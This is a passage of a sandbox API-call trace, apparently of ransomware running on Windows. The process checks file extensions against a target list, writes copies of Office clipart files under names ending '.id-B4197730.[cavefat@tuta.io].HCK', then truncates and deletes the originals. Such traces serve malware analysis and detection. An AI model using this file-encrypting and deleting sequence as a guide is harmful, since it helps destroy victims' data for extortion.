Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.159] lstrlenW (lpString=".doc") returned 4 [0172.159] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.159] lstrlenW (lpString=".docx") returned 5 [0172.159] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0172.160] lstrlenW (lpString=".pdf") returned 4 [0172.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".xls") returned 4 [0172.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.160] lstrlenW (lpString=".xlsx") returned 5 [0172.160] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0172.160] lstrlenW (lpString=".ppt") returned 4 [0172.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".zip") returned 4 [0172.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.160] lstrlenW (lpString=".rar") returned 4 [0172.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".bz2") returned 4 [0172.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".7z") returned 3 [0172.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".dbf") returned 4 [0172.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".1cd") returned 4 [0172.160] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".jpg") returned 4 [0172.160] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".doc") returned 4 [0172.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".docx") returned 5 [0172.160] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0172.160] lstrlenW (lpString=".pdf") returned 4 [0172.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".xls") returned 4 [0172.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.160] lstrlenW (lpString=".xlsx") returned 5 [0172.160] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0172.160] lstrlenW (lpString=".ppt") returned 4 [0172.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".zip") returned 4 [0172.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.160] lstrlenW (lpString=".rar") returned 4 [0172.160] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".bz2") returned 4 [0172.160] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.160] lstrlenW (lpString=".7z") returned 3 [0172.160] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.160] lstrlenW (lpString=".dbf") returned 4 [0172.160] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.161] lstrlenW (lpString=".1cd") returned 4 [0172.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.161] lstrlenW (lpString=".jpg") returned 4 [0172.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.161] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.161] lstrlenW (lpString="J0301044.WMF") returned 12 [0172.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.164] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11022) returned 1 [0172.164] CloseHandle (hObject=0x394) returned 1 [0172.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf")) returned 0x220 [0172.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.170] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.170] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.175] GetLastError () returned 0x0 [0172.175] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2b0e, lpOverlapped=0x0) returned 1 [0172.178] WriteFile (in: hFile=0x384, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2b10, lpOverlapped=0x0) returned 1 [0172.179] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.179] WriteFile (in: hFile=0x384, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.179] SetEndOfFile (hFile=0x384) returned 1 [0172.180] CloseHandle (hObject=0x384) returned 1 [0172.181] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.181] SetEndOfFile (hFile=0x368) returned 1 [0172.186] CloseHandle (hObject=0x368) returned 1 [0172.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301044.wmf")) returned 1 [0172.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.190] lstrlenW (lpString=".doc") returned 4 [0172.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.190] lstrlenW (lpString=".docx") returned 5 [0172.190] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.190] lstrlenW (lpString=".pdf") returned 4 [0172.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.190] lstrlenW (lpString=".xls") returned 4 [0172.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.190] lstrlenW (lpString=".xlsx") returned 5 [0172.190] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.190] lstrlenW (lpString=".ppt") returned 4 [0172.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString=".zip") returned 4 [0172.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.191] lstrlenW (lpString=".rar") returned 4 [0172.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString=".bz2") returned 4 [0172.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString=".7z") returned 3 [0172.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString=".dbf") returned 4 [0172.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString=".1cd") returned 4 [0172.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString=".jpg") returned 4 [0172.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString=".doc") returned 4 [0172.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString=".docx") returned 5 [0172.191] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.191] lstrlenW (lpString=".pdf") returned 4 [0172.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString=".xls") returned 4 [0172.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.191] lstrlenW (lpString=".xlsx") returned 5 [0172.191] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.191] lstrlenW (lpString=".ppt") returned 4 [0172.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.191] lstrlenW (lpString=".zip") returned 4 [0172.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.191] lstrlenW (lpString=".rar") returned 4 [0172.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString=".bz2") returned 4 [0172.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.191] lstrlenW (lpString=".7z") returned 3 [0172.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.192] lstrlenW (lpString=".dbf") returned 4 [0172.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.192] lstrlenW (lpString=".1cd") returned 4 [0172.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301044.WMF") returned 68 [0172.192] lstrlenW (lpString=".jpg") returned 4 [0172.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.192] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.192] lstrlenW (lpString="J0304371.WMF") returned 12 [0172.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.197] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3616) returned 1 [0172.197] CloseHandle (hObject=0x2fc) returned 1 [0172.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf")) returned 0x220 [0172.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.206] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.206] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.211] GetLastError () returned 0x0 [0172.211] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xe20, lpOverlapped=0x0) returned 1 [0172.212] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe30, lpOverlapped=0x0) returned 1 [0172.213] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.213] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.213] SetEndOfFile (hFile=0x394) returned 1 [0172.215] CloseHandle (hObject=0x394) returned 1 [0172.216] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.216] SetEndOfFile (hFile=0x384) returned 1 [0172.219] CloseHandle (hObject=0x384) returned 1 [0172.221] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304371.wmf")) returned 1 [0172.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.222] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.222] lstrlenW (lpString=".doc") returned 4 [0172.222] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.222] lstrlenW (lpString=".docx") returned 5 [0172.222] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0172.222] lstrlenW (lpString=".pdf") returned 4 [0172.222] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.222] lstrlenW (lpString=".xls") returned 4 [0172.222] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.222] lstrlenW (lpString=".xlsx") returned 5 [0172.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0172.223] lstrlenW (lpString=".ppt") returned 4 [0172.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".zip") returned 4 [0172.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.223] lstrlenW (lpString=".rar") returned 4 [0172.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString=".bz2") returned 4 [0172.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString=".7z") returned 3 [0172.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".dbf") returned 4 [0172.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".1cd") returned 4 [0172.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".jpg") returned 4 [0172.223] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".doc") returned 4 [0172.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString=".docx") returned 5 [0172.223] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0172.223] lstrlenW (lpString=".pdf") returned 4 [0172.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString=".xls") returned 4 [0172.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.223] lstrlenW (lpString=".xlsx") returned 5 [0172.223] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0172.223] lstrlenW (lpString=".ppt") returned 4 [0172.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".zip") returned 4 [0172.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.223] lstrlenW (lpString=".rar") returned 4 [0172.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString=".bz2") returned 4 [0172.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString=".7z") returned 3 [0172.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".dbf") returned 4 [0172.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.223] lstrlenW (lpString=".1cd") returned 4 [0172.223] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304371.WMF") returned 68 [0172.224] lstrlenW (lpString=".jpg") returned 4 [0172.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.224] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.224] lstrlenW (lpString="J0304875.WMF") returned 12 [0172.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.226] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20366) returned 1 [0172.227] CloseHandle (hObject=0x2fc) returned 1 [0172.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf")) returned 0x220 [0172.235] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.241] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.241] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.247] GetLastError () returned 0x0 [0172.247] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4f8e, lpOverlapped=0x0) returned 1 [0172.249] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4f90, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4f90, lpOverlapped=0x0) returned 1 [0172.250] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.250] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.250] SetEndOfFile (hFile=0x38c) returned 1 [0172.252] CloseHandle (hObject=0x38c) returned 1 [0172.252] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.252] SetEndOfFile (hFile=0x368) returned 1 [0172.256] CloseHandle (hObject=0x368) returned 1 [0172.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.258] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304875.wmf")) returned 1 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304875.WMF") returned 68 [0172.260] lstrlenW (lpString=".doc") returned 4 [0172.260] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString=".docx") returned 5 [0172.260] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0172.260] lstrlenW (lpString=".pdf") returned 4 [0172.260] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.260] lstrlenW (lpString=".xls") returned 4 [0172.260] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.260] lstrlenW (lpString=".xlsx") returned 5 [0172.260] lstrcmpiW 